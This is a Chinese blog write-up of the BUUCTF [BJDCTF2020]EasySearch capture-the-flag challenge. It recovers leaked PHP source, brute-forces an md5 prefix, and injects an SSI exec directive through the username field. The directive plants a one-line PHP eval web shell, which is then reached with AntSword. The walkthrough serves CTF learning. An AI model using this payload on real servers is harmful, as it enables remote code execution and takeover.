• BUUCTF [BJDCTF2020]EasySearch 1


    在这里插入图片描述

    “.swp” 后缀通常用于表示 Vim(一种文本编辑器)的交换文件。Vim 是一个强大的文本编辑器,它在编辑文件时会创建交换文件以确保文件内容的安全性。

    审阅

    访问 index.php.swp 得到源码

    
    	ob_start();
    	function get_hash(){
    		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
    		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
    		$content = uniqid().$random;
    		return sha1($content); 
    	}
        header("Content-Type: text/html;charset=utf-8");
    	***
        if(isset($_POST['username']) and $_POST['username'] != '' )
        {
            $admin = '6d0bc1';
            if ( $admin == substr(md5($_POST['password']),0,6)) {
                echo "";
                $file_shtml = "public/".get_hash().".shtml";
                $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
                $text = '
                ***
                ***
                

    Hello,'.$_POST['username'].'

    *** ***'
    ; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo ""; }else { *** } *** ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    关键在于登录成功将 $_POST['username'] 写入 shtml文件中

    shtml

    SHTML(Server Side Includes HTML)是一种用于网页开发的技术,它允许在HTML文件中嵌入服务器端的指令,以便在服务器端处理特定的任务并将结果嵌入到HTML页面中。这些指令通常以结尾,其中#后面是指令的名称和参数

    默认扩展名是 .stm、.shtm 和 .shtml

    在SHTML(Server Side Includes HTML)中,exec指令用于执行外部程序或脚本,并将其输出嵌入到HTML页面中。这个指令的一般语法如下:

    
    
    • 1

    思路

    登录的用户名的md5前6位是 6d0bc1
    进行爆破

    
    $i=0;
    while(substr(md5($i),0,6) != "6d0bc1"){
        $i++;
    }
    echo $i;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    2020666

    登录
    在这里插入图片描述
    有文件位置
    构造一句话

    
    
    • 1

    url编码

    %3C!--%23exec%20cmd%3D%22echo%20PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%7Cbase64%20-d%3E.index.php%22%20--%3E
    
    • 1

    我这里用hackbar发包
    在这里插入图片描述
    查看对应包的响应的shtml文件位置并访问
    在这里插入图片描述
    在这里插入图片描述

    我这里使用蚁剑连接
    在这里插入图片描述
    根目录找到flag
    在这里插入图片描述

  • 相关阅读:
    发布订阅模式
    Linux:进度条(小程序)以及git三板斧
    Windows定时任务实现开机自启动
    Effective Modern C++[实践]->只要函数不会发射异常,就为其加上noexcept
    【大数据Hive】hive 加载数据常用方案使用详解
    C++标注模板库(STL)-deque介绍
    Digicert DV通配符
    etcd和redis的对比
    Java 网络编程(大全)
    AI驱动全年业绩超预期!百度2023年营收1345.98亿元,净利润大涨39%
  • 原文地址:https://blog.csdn.net/qq_56313338/article/details/132912930